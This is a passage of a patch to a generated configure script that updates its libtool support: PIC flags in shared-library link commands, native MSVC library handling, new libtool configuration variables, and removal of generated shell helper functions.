+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9395,7 +9973,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9411,7 +9989,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9435,10 +10013,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9517,23 +10095,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9618,7 +10209,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9637,9 +10228,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10215,8 +10806,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10249,13 +10841,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11157,7 +11807,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11160 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11201,10 +11851,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11263,7 +11913,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11266 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11307,10 +11957,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -15691,7 +16341,7 @@ SHARED_LDFLAGS=
+ if test "$enable_shared" = "yes"; then
+ x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
+ if test -n "$x"; then
+- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
++ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
+ fi
+ fi
+
+@@ -18313,13 +18963,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -18334,14 +18991,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -18374,12 +19034,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -18434,8 +19094,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -18445,12 +19110,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -18466,7 +19133,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -18502,6 +19168,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -19278,7 +19945,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -19381,19 +20049,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -19423,6 +20114,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -19432,6 +20129,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -19546,12 +20246,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -19638,9 +20338,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -19656,6 +20353,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -19688,210 +20388,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
